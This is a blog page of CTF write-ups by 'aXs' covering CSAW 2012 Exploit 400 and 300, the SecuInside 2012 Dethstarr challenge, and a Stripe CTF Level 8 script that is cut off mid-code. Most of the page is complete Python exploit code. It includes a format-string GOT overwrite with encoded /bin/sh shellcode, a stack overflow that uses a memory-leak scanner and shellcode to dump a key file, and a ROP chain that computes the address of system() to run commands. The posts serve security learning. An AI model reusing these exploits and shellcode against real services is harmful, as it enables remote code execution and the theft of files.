codezen.fr code hacking, zen coding

4Oct/12Off

CSAW 2012 CTF – Exploit 400 Write-up

Posted by aXs

We have a binary with a format string vulnerability:

$ nc localhost 23456
What would be the last word you want say before the Mayan Calender ends?
Saying: %p %p %p %p
Starting count down to the end of the world!
  5
  4
  3
  2
  1
  0
      ooO
          ooOOOo
        oOOOOOOoooo
     ooOOOooo
    /vvv\
         /V V V\
        /V  V  V\
       /     V   \
      /     VV    \    __________
     /        VVV  \    |    |
    /       VVVV    \   |(nil) 0xbf9bb444 0xb7787e58 0xd696910|
   /           VVVVV \    |__________|
      VVVVVVVVVVVVV       |

A format string vulnerability is fantastic tool for a GOT table overwrite. But what can we overwrite and where to jump ?

.bss:0804B100 _bss            segment para public 'BSS' use32
.bss:0804B120 ; char statement_4029[]
.bss:0804B120 statement_4029  db 200h dup(?)          ; DATA XREF: sdoomsday+27o
.bss:0804B120                                         ; sdoomsday+3Fo ...
.bss:0804B120 _bss            ends

Hmm.. Buffer in BSS, fixed offset ?

.text:08048B91                 mov     eax, [ebp+fd]
.text:08048B94                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048B9C                 mov     dword ptr [esp+8], 1FFh ; n
.text:08048BA4                 mov     dword ptr [esp+4], offset statement_4029 ; buf
.text:08048BAC                 mov     [esp], eax      ; fd
.text:08048BAF                 call    _recv

Lovely! User input is stored into the BSS section and this section is RWE !

So our format string will overwrite the GOT entry for send() and replace it with the offset of the user input buffer.

I lost a monumental amount of time with an exploit that was working perfectly on my local Debian Squeeze VM and would output nothing on the challenge box. I rewrote it several time with different strategies to no avail. One of our team member tried on his Ubuntu box and it wouldn't work either o_O .. so I fired up a CentOS VM and indeed, the format string had a off by one difference in the second argument. Making the exploit works on CentOS made it work on the Ubuntu and the challenge box. I don't really know what's up with Debian's libc.

The final layout (but probably many other layouts worked before I discovered the issue with the Debian box) :

[short relative JMP to Shellcode] [Format string] [Shellcode]

For the shellcode since there is a small filter, we will just use a XOR-encoded polymorphic shellcode.

#!/usr/bin/env python

import socket
import sys
import struct
from struct import pack
import time

shellcode = ''

# dup2(4) as our socket is fd 4
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"

# /bin/sh polymorphic
shellcode += "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81"

host = sys.argv[1]
port = 23456

guess_mode = int(sys.argv[2])

def connect_to_host():
 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))

  print repr(s.recv(1024)) # banner
  print repr(s.recv(1024)) # banner

  return s

def exploit(payload):

  s = connect_to_host()

  s.send(payload + "\n")

  time.sleep(3)

  s.send("\nls -la\n")
  s.send("cat key\n")

  while True:
    data = s.recv(1024)
    if data:
      print repr(data)
    else:
      break

def do_fmt(payload):

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))

  print repr(s.recv(1024))
  print repr(s.recv(1024))

  s.send(payload + "\n")

  print "len payload=", len(payload)

  data = s.recv(len("Starting count down to the end of the world!\n"))

  for i in xrange(0,6):
    print repr(s.recv(32))
    time.sleep(1)
     
  data = s.recv(194)

  data = s.recv(4096)

  data = data[:-63]

  print repr(data)

  return data

format_string = "%.12d%6$n%.145d%7$n%.82d%8$nAAAA%9$n"

jump_distance = 4*4 + len(format_string) + 2 # jump over format string to shellcode

print "jump distance=", jump_distance

payload = '\xeb' + chr(jump_distance) + '\x90' * 2

payload += pack("<I", 0x804B068) # GOT table send()
payload += pack("<I", 0x804B069)
payload += pack("<I", 0x804B06A)
payload += pack("<I", 0x804B06B)

payload += format_string

payload += shellcode

exploit(payload)

time.sleep(5)
Share
3Oct/12Off

CSAW 2012 CTF – Exploit 300 Writeup

Posted by aXs

We have an interesting binary that uses signals to call functions. The most interesting handler is the user input handler:

(function names are my own, binary was stripped)

.text:080488C8 inputHandler    proc near               ; DATA XREF: sub_8048A3D+2Bo
.text:080488C8
.text:080488C8 s               = dword ptr -1Ch
.text:080488C8
.text:080488C8                 sub     esp, 1Ch
.text:080488CB                 mov     [esp+1Ch+s], offset aFBxpSpXpcuav ; "õ+íÕÅÀÞ»+ÕÅûÒÇé"
.text:080488D2                 call    _puts
.text:080488D7                 call    readUserInput
.text:080488DC                 add     esp, 1Ch
.text:080488DF                 retn
.text:080488DF inputHandler    endp

which call a function to read user input:

.text:0804889E readUserInput   proc near               ; CODE XREF: inputHandler+Fp
.text:0804889E
.text:0804889E fd              = dword ptr -15Ch
.text:0804889E buf             = dword ptr -158h
.text:0804889E nbytes          = dword ptr -154h
.text:0804889E var_146         = byte ptr -146h
.text:0804889E
.text:0804889E                 sub     esp, 15Ch
.text:080488A4                 mov     eax, ds:fd
.text:080488A9                 mov     [esp+15Ch+nbytes], 800h ; nbytes
.text:080488B1                 lea     edx, [esp+15Ch+var_146]
.text:080488B5                 mov     [esp+15Ch+buf], edx ; buf
.text:080488B9                 mov     [esp+15Ch+fd], eax ; fd
.text:080488BC                 call    _read
.text:080488C1                 add     esp, 15Ch
.text:080488C7                 retn
.text:080488C7 readUserInput   endp

Looks like we have a buffer overflow there Lets check it.

$ nc localhost 4842
这部分并不难,但我希望你有乐趣。如果你给我大量的数据,它可能是一件坏事会发生.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar

Breakpoint in read and check the stack before the return

db$ stepi
--------------------------------------------------------------------------[regs]
  EAX: 0x00000201  EBX: 0x0000595F  ECX: 0xBFFFF216  EDX: 0x00000800  o d I t S z a P c
  ESI: 0x00000000  EDI: 0xB7FC3FF4  EBP: 0xBFFFF678  ESP: 0xBFFFF35C  EIP: 0x080488C7
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x80488c7: ret    
   0x80488c8: sub    esp,0x1c
   0x80488cb: mov    DWORD PTR [esp],0x8048e23
   0x80488d2: call   0x80486b0 <puts@plt>
   0x80488d7: call   0x804889e
   0x80488dc: add    esp,0x1c
   0x80488df: ret    
   0x80488e0: push   edi
--------------------------------------------------------------------------------
0x080488c7 in ?? ()
gdb$ x/8x $esp
0xbffff35c: 0x396b4138  0x41306c41  0x6c41316c  0x336c4132
0xbffff36c: 0x41346c41  0x6c41356c  0x376c4136  0x41386c41

Stack smashed. Calculate buffer length for EIP control:

$ /opt/framework-4.0.0/msf3/tools/pattern_offset.rb 0x396b4138
326

Now how can we exploit this buffer overflow to get the key ?

Checking the ELF headers:

$ eu-readelf -l exp300c.txt
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz  MemSiz   Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x000013 0x000013 R   0x1
  [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00121c 0x00121c R E 0x1000
  LOAD           0x001f14 0x0804af14 0x0804af14 0x00015c 0x00016c RW  0x1000
  DYNAMIC        0x001f28 0x0804af28 0x0804af28 0x0000c8 0x0000c8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x000044 0x000044 R   0x4
  GNU_EH_FRAME   0x000f9c 0x08048f9c 0x08048f9c 0x000094 0x000094 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x000000 0x000000 RWE 0x4
  GNU_RELRO      0x001f14 0x0804af14 0x0804af14 0x0000ec 0x0000ec R   0x1

Stack is RWE! So we will put our shellcode in the buffer (and on the stack) and jump to ip.

To get the right offset on the stack, we will fake parameters push on the stack and call send() to get dump of various memory ranges.

The way I went for it is to write a scanner with this infoleak. It will quickly scan the usual range for the stack (0xbfffffff) until it finds some readable data then i will switch to a more precise scanning and look for the nopsled we have put in front of the shellcode. As soon we have the offset of the nopsled, we switch from infoleak to exploit and jump to the shellcode which dump the content of the key file.

#!/usr/bin/env python

import socket
import sys
import struct
from struct import pack

host = sys.argv[1]
port = 4842

shellcode =  "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73"
shellcode += "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x17\x00\x00"
shellcode += "\x00\x6c\x73\x20\x2d\x6c\x61\x3e\x26\x34\x20\x3b\x20\x63"
shellcode += "\x61\x74\x20\x6b\x65\x79\x3e\x26\x34\x00\x57\x53\x89\xe1"
shellcode += "\xcd\x80"

def connect_to_host():

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
 
  s.recv(132) # read banner

  return s

def exploit(offset):

  s = connect_to_host()

  payload = ('\x90' * 32) + shellcode
  payload += 'A' * (326 - len(payload))

  payload += pack("L", offset)

  s.send(payload)

  data = True

  while data:
    data = s.recv(1024)
    print repr(data)
   
  s.close()

def leak(offset, size):

  s = connect_to_host()

  off_send = pack("L", 0x08048770)

  payload = ('\x90' * 32) + shellcode
  payload += 'A' * (326 - len(payload))

  payload += off_send

  payload += pack('<I', 0x08048813) # exit

  payload += pack('<I', 0x4) # fd
  payload += pack('<I', offset)
  payload += pack('<I', size) # len
  payload += pack('<I', 0x40) # flags

  s.send(payload)

  result = ''
  data = True

  while data:
    data = s.recv(1024)
    result += data
   
  s.close()

  return result

print "Searching stack..."

off_shellcode_start = 0xbfffffff

data = ''

while data == '' or data == '\x00\x00\x00\x00':
  data = leak(off_shellcode_start, 4096)
  print "stack offset=", hex(off_shellcode_start), repr(data)
  if data == '' or data == '\x00\x00\x00\x00':
    off_shellcode_start -= 0xf000

print "Searching shellcode..."

data = ''

while data != '\x90\x90\x90\x90':
  data = leak(off_shellcode_start, 4)
  print "shellcode offset=", hex(off_shellcode_start), "data=", repr(data)
  if data != '\x90\x90\x90\x90':
    off_shellcode_start += 8

print "Exploiting at offset", hex(off_shellcode_start)

exploit(off_shellcode_start)

sys.exit(0)

Exploit output:

$ python exploit.py localhost
Searching stack...
stack offset= 0xbfffffffL ''
stack offset= 0xbfff0fffL ''
stack offset= 0xbffe1fffL ''
...
stack offset= 0xbfba9fffL ''
stack offset= 0xbfb9afffL '\x00\x00\x00\x00'
Searching shellcode...
shellcode offset= 0xbfb9afffL data= '\x00\x00\x00\x00'
shellcode offset= 0xbfb9b007L data= '\x00\x00\x00\x00'
...
shellcode offset= 0xbfb9cac7L data= '\xbf\x00\x08\x00'
shellcode offset= 0xbfb9cacfL data= '\x00\x04\x00\x00'
shellcode offset= 0xbfb9cad7L data= '\x90\x90\x90\x90'
Exploiting at offset 0xbfb9cad7L
'total 20\ndrwxr-xr-x  2 liaotian liaotian 4096 Sep 29 00:27 .\ndrwxr-xr-x 14 root     root     4096 Sep 29 00:27 ..\n-rw-r--r--  1 liaotian liaotian  220 Apr 10  2010 .bash_logout\n-rw-r--r--  1 liaotian liaotian 3184 Apr 10  2010 .bashrc\n-rw-r--r--  1 liaotian liaotian  675 Apr 10  2010 .profile\n'
Share
12Sep/12Off

SecuInside 2012 – Dethstarr binary Write-up

Posted by aXs

Quick solution post for this challenge for future reference

This a memory overwrite exploit, it's a bit convoluted because ASLR was enabled and so we need to do an infoleak to get the right offset inside libc.

#!/usr/bin/env python

import socket
import sys
import time
import struct

if len(sys.argv) != 3:
  print '\nUsage:\t./dethhstar.py [host] [port]'
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                         # Creating Socket
s.connect((host, port))                                                       # Connecting to socket

out = open("buf.bin","wb")

handshake = s.recv(72)
print 'Received', repr(handshake)

#      cmp     eax, 0CAh |  test    eax, eax  [     cmp eax, 1     | cmp [ebp+arg_0], 0ACh | cmp [ebp+arg_4], 9Ah |  imul/cmp  eax, 4Eh/jle |
buf = '\xCA\x00\x00\x00' + '\x00\x00\x00\x00' + '\x01\x00\x00\x00' + '\xAC\x00\x00\x00'    +  '\x9A\x00\x00\x00'  + '\x01\x00\x00\x00'  

#            cmp [ebp+var_8], 0|cmp [ebp+var_C], 0|cmp [ebp+var_10], 1|cmp [ebp+var_14], 1
buf = buf + '\x00\x00' + '\x00\x00' + '\x01\x00' + '\x01\x00\x49\x4e\x53\x54\x1f'
 
print "Len=", len(buf)

buf = buf + '\x00' * (40 - len(buf))

i = 0
for a in buf:
  #print '%X' % i, repr(a)
  i+=1

out.write(buf)
s.send(buf);

buf = 'A' * 31

out.write(buf)
s.send(buf)

case1 = s.recv(96)
print 'Received', repr(case1)

casenumber = struct.unpack('L', case1[16:20])

print "caseNumber=%X" % casenumber

# Received '\x08\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xdd\xcc\xbb\xaa\xff\xff\xff\xff\x00\x00\x00\x00\xef\x00\xbf\x00\xff\xff\xff\xfff\x00\x00\x00lu\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00?\x17\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

for case in [1,3,4,5]:

  print "Working on case=", case

  #       cmp     eax, 8     |   test    al, al   |     not checked    | cmp  eax, 0DFE1ABCCh | case number x      | test    eax, eax
  buf = '\x08\x00\x00\x00' + '\xff\xff\xff\xff' + '\x00\x00\x00\x00' + '\xcc\xab\xe1\xdf'   + struct.pack('L', case) + '\xff\xff\xff\xff'

  #      cmp     ax, 0FFh   | test    ax, ax/jz | test    eax, eax/js | cmp     eax, 66h   | cmp  al, 6Ch / cmp  al, 75h / cmp  eax, 0FFh
  buf += '\xff\x00'         +     '\x00\x00'    + '\xff\xff\xff\xff'  + '\x66\x00\x00\x00' + '\x6c\x75\x00\x00' + '\xFF\x00\x00\x00'

  #     cmp     eax, 60h    | test eax, eax/jnz  | cmp eax, 7FFFFFFFh | cmp al, 9Ch        | cmp     eax, 1Fh
  buf += '\x60\x00\x00\x00' + '\xff\xff\xff\xff' + '\xff\xff\xff\x7f' + '\x9c\x00\x00\x00' +  '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (64 - len(buf))

  i = 0
  for a in buf:
    #print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  leak = struct.pack('L', 0x0804a7b8)
  trigger_vuln = struct.pack('L', 0x0804861E)
  ebp = struct.pack('L', 0x0804A8F0)

  # Fake Stack

  buf = 'ABCD' + leak + 'IJKL' + 'MNOP' + ebp + trigger_vuln
  buf += 'A' * (31 - len(buf))

  out.write(buf)
  s.send(buf)

case2 = s.recv(68)
print 'Received', repr(case2)

# Received '\xbc\x00\xa1\x00\xbd\x00 \x00\x91\x00\x00\x00\x06\x00\x00\x00\xff\xff\xff\xff\xca\x00\x00\x00\xee\xee\xee\xee\xcc\xcc\xcc\xcc \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

for case in [1,0,2]:

  print "Working on case=", case
 
  #a    cmp ax,0CBh/cmp ax, 1Ah | cmp ax, 0DBh/cmp ax, 2 |                                     cmp  eax, 0FFFFFFFFh/jnz |acmp     ax, 0CAh  |
  buf = '\xcb\x00\x1a\x00'      + '\xdb\x00\x02\x00'     + '\x19\x00\x00\x00' + '\x06\x00\x00\x00' + '\x00\x00\x00\x00' + '\xca\x00\x00\x00'

  #     cmp eax, 0CCCCCCCCh |  case number x         | cmp  eax, 1Fh    
  buf += '\xcc\xcc\xcc\xcc' + struct.pack('L', case) + '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (36 - len(buf))

  i = 0
  for a in buf:
    #print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  buf = 'A' * 31

  out.write(buf)
  s.send(buf)

case3 = s.recv(120)
print 'Received', repr(case3)

# Received '\x02\x00\x00\x00\xaa\x00\xbb\x00\xff\xff\xff\xff\x0c\x00\x00\x00\xcc\xcc\xcc\xcc\x15\x00\xe5\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\xff\xff\xff\xff\x11\xdc\xabJ\xbb\xa1\x89g\xff\x00\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\xb4\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

####### VULN HERE ######

#.text:08048894                 mov     eax, [ebp+buf]
#.text:08048897                 mov     eax, [eax]
#.text:08048899                 test    eax, eax
#.text:0804889B                 jnz     short loc_80488AF

# eax = buf + 8
# edx = buf

# .text:0804893D                 mov     edx, [ebp+buf]
# .text:08048940                 mov     edx, [edx]
# .text:08048942                 mov     ds:dword_804A8E0[eax*4], edx


for case in [3]:

  print "Working on case=", case

  # atoi = 268
  # memcpy = 276

  offset = - ( 276 / 4)
  #offset = 31

  offset_endianess = struct.pack('L', offset)

  rop = struct.pack('L', 0x080495B2) # pivot stack frame

  # '\xff\xff\xff\xff'
  buf = rop + '\x01\x00\x00\x00' + offset_endianess + offset_endianess + '\x0a\x00\x00\x00' + '\x0a\x00\x00\x00'
 
  # change to 1 for good check
  buf += '\x01\x00\x00\x00' + '\xff\xff\x00\x00' + '\x00\x00\xff\xff' + '\x04\x00\x00\x00' + '\x52\x00\xe1\x00' + struct.pack('L', case)

  buf += '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (52 - len(buf))

  i = 0
  for a in buf:
    #print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  rop = struct.pack('L', 0x080491E0)

  buf = 'ABCDEFGHIJKLMNOPQ' + rop + 'VWXYZ01234'

  out.write(buf)
  s.send(buf)

case4 = s.recv(120)
print 'Received', repr(case4)

# Received '\x00\x00\x00\x00\xaa\x00\xbb\x00\xff\xff\xff\xff\x0c\x00\x00\x00\xcc\xcc\xcc\xcc\x15\x00\xe5\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\xff\xff\xff\xff\x11\xdc\xabJ\xbb\xa1\x89g\xff\x00\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\xb4\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

print "STEP1"

for case in [0]:

  print "Working on case=", case

  offset = - ( 276 / 4)
  offset_endianess = struct.pack('L', offset)
  rop = struct.pack('L', 0x080495B2)

  #
  buf = '\xff\xff\xff\xff' + '\x01\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x0a\x00\x00\x00' + '\x0a\x00\x00\x00'
  #buf = rop + '\x01\x00\x00\x00' + offset_endianess + offset_endianess + '\x0a\x00\x00\x00' + '\x0a\x00\x00\x00'
 
  buf += '\x01\x00\x00\x00' + '\xff\xff\x00\x00' + '\x00\x00\xff\xff' + '\x04\x00\x00\x00' + '\x52\x00\xe1\x00' + struct.pack('L', case)

  buf += '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (52 - len(buf))

  i = 0
  for a in buf:
    #print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  buf = 'A' * 31

  out.write(buf)
  s.send(buf)

case5 = s.recv(72)
print 'Received', repr(case5)

case6 = s.recv(120)
print 'Received', repr(case6)

# Received '\x82\x00\x00\x00\x02\x00\x00\x00\t\x00\x00\x00 \x00\x00\x00 \x00\x00\x00\t\x00\x00\x00\xff\xff\xff\xff\xc1\x00\xc5\x00\xca\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
# Received '\x01\x00\x00\x00\xaa\x00\xbb\x00\xff\xff\xff\xff\x0c\x00\x00\x00\xcc\xcc\xcc\xcc\x15\x00\xe5\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\xff\xff\xff\xff\x11\xdc\xabJ\xbb\xa1\x89g\xff\x00\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\xb4\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

print "STEP2"

for case in [0]:

  print "Working on case=", case

  #
  buf = '\xff\xff\xff\xff' + '\x01\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x0a\x00\x00\x00' + '\x0a\x00\x00\x00'
 
  buf += '\x01\x00\x00\x00' + '\xff\xff\x00\x00' + '\x00\x00\xff\xff' + '\x04\x00\x00\x00' + '\x52\x00\xe1\x00' + struct.pack('L', case)

  buf += '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (52 - len(buf))

  i = 0
  for a in buf:
    #print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  buf = 'A' * 31

  out.write(buf)
  s.send(buf)

case8 = s.recv(120)
print 'Received', repr(case8)

# Received '\x03\x00\x00\x00\xaa\x00\xbb\x00\xff\xff\xff\xff\x0c\x00\x00\x00\xcc\xcc\xcc\xcc\x15\x00\xe5\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\xff\xff\xff\xff\x11\xdc\xabJ\xbb\xa1\x89g\xff\x00\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\xb4\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

for case in [2]:

  print "Working on case=", case

  #
  buf = '\xff\xff\xff\xff' + '\x01\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x0a\x00\x00\x00' + '\x0a\x00\x00\x00'
 
  buf += '\x01\x00\x00\x00' + '\xff\xff\x00\x00' + '\x00\x00\xff\xff' + '\x04\x00\x00\x00' + '\x52\x00\xe1\x00' + struct.pack('L', case)

  buf += '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (52 - len(buf))

  i = 0
  for a in buf:
    #print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  buf = 'A' * 31

  out.write(buf)
  s.send(buf)

# checkCase1

for case in [5]:  # 5,4,3,1

  print "STEP 3 Working on case=", case

  #       cmp     eax, 8     |   test    al, al   |     not checked    | cmp  eax, 0DFE1ABCCh | case number x      | test    eax, eax
  buf = '\x08\x00\x00\x00' + '\xff\xff\xff\xff' + '\x00\x00\x00\x00' + '\xcc\xab\xe1\xdf'   + struct.pack('L', case) + '\xff\xff\xff\xff'

  #      cmp     ax, 0FFh   | test    ax, ax/jz | test    eax, eax/js | cmp     eax, 66h   | cmp  al, 6Ch / cmp  al, 75h / cmp  eax, 0FFh
  buf += '\xff\x00'         +     '\x00\x00'    + '\xff\xff\xff\xff'  + '\x66\x00\x00\x00' + '\x6c\x75\x00\x00' + '\xFF\x00\x00\x00'

  #     cmp     eax, 60h    | test eax, eax/jnz  | cmp eax, 7FFFFFFFh | cmp al, 9Ch        | cmp     eax, 1Fh
  buf += '\x60\x00\x00\x00' + '\xff\xff\xff\xff' + '\xff\xff\xff\x7f' + '\x9c\x00\x00\x00' +  '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (64 - len(buf))

  i = 0
  for a in buf:
#    print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  ebp = struct.pack('L', 0x0804A8F0)
  rop = struct.pack('L', 0x080491E0)
 
  buf = 'ABCDEFGHIJKLM' + ebp + rop + 'VWXYZ01234'

  out.write(buf)
  s.send(buf)

# Exploit will retrigger vulnerable readCase3

# RECEIVE GOT TABLE

got = s.recv(72)
for i in range(0,18):
  addr = struct.unpack('L', got[i*4:i*4+4])[0]
  print "i=",i, "addr=", hex(addr)
  if i==1: # write
    offset_write = 0x1fdd10
    offset_system = 0x16a5b0
    addr_system = addr - offset_write + offset_system

print "Calculated system address=", hex(addr_system)

print "STEP4 Vulnerability retrigger"

for case in [2]:

  print "STEP 4 Working on case=", case

  offset = - ( 268 / 4)
  offset_endianess = struct.pack('L', offset)
  rop = struct.pack('L', addr_system)

  #
  #buf = '\xff\xff\xff\xff' + '\x01\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x0a\x00\x00\x00' + '\x0a\x00\x00\x00'
  buf = rop + '\x01\x00\x00\x00' + offset_endianess + offset_endianess + '\x0a\x00\x00\x00' + '\x0a\x00\x00\x00'
 
  buf += '\x01\x00\x00\x00' + '\xff\xff\x00\x00' + '\x00\x00\xff\xff' + '\x04\x00\x00\x00' + '\x52\x00\xe1\x00' + struct.pack('L', case)

  buf += '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (52 - len(buf))

  i = 0
  for a in buf:
    #print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  buf = '/bin/cat /home/dethstarr/key'
  buf += '\x00' * (31 - len(buf))

  out.write(buf)
  s.send(buf)

print "STEP 5"

for case in [5]:  # 5,4,3,1

  print "STEP 5 Working on case=", case

  #       cmp     eax, 8     |   test    al, al   |     not checked    | cmp  eax, 0DFE1ABCCh | case number x      | test    eax, eax
  buf = '\x08\x00\x00\x00' + '\xff\xff\xff\xff' + '\x00\x00\x00\x00' + '\xcc\xab\xe1\xdf'   + struct.pack('L', case) + '\xff\xff\xff\xff'

  #      cmp     ax, 0FFh   | test    ax, ax/jz | test    eax, eax/js | cmp     eax, 66h   | cmp  al, 6Ch / cmp  al, 75h / cmp  eax, 0FFh
  buf += '\xff\x00'         +     '\x00\x00'    + '\xff\xff\xff\xff'  + '\x66\x00\x00\x00' + '\x6c\x75\x00\x00' + '\xFF\x00\x00\x00'

  #     cmp     eax, 60h    | test eax, eax/jnz  | cmp eax, 7FFFFFFFh | cmp al, 9Ch        | cmp     eax, 1Fh
  buf += '\x60\x00\x00\x00' + '\xff\xff\xff\xff' + '\xff\xff\xff\x7f' + '\x9c\x00\x00\x00' +  '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (64 - len(buf))

  i = 0
  for a in buf:
#    print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  buf = 'ls -la'
  buf += ';' * (31 - len(buf))

  out.write(buf)
  s.send(buf)

out.close()

print "Fallback!"

while 1:
    line = s.recv(4096)
    if not line:
        break
    print 'Received', repr(line)

s.close()
Share
30Aug/12Off

Stripe CTF Level 8 Solution

Posted by aXs

Quick solution post before leaving for vacation for Stripe's CTF Level 8.

#!/usr/bin/env python
# aXs - http://codezen.fr
#
# Stripe CTF Level 8

import time
import requests
import socket
import threading
import SocketServer
import Queue
import json
import random
import sys

remote_port = 0

q = Queue.Queue(maxsize=0)

class ThreadedTCPRequestHandler(SocketServer.BaseRequestHandler):

  def handle(self):
    global remote_port
    data = self.request.recv(1024)
    client_ip, client_port = self.client_address
    #print client_ip, client_port
    delta = client_port - remote_port
    remote_port = client_port
    self.request.close()
    q.put(delta)

class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
  pass

if __name__ == "__main__":
  # Port 0 means to select an arbitrary unused port
  HOST, PORT = "0.0.0.0", 0

  server = ThreadedTCPServer((HOST, PORT), ThreadedTCPRequestHandler)
  ip, port = server.server_address

  server_thread = threading.Thread(target=server.serve_forever)
  server_thread.daemon = True
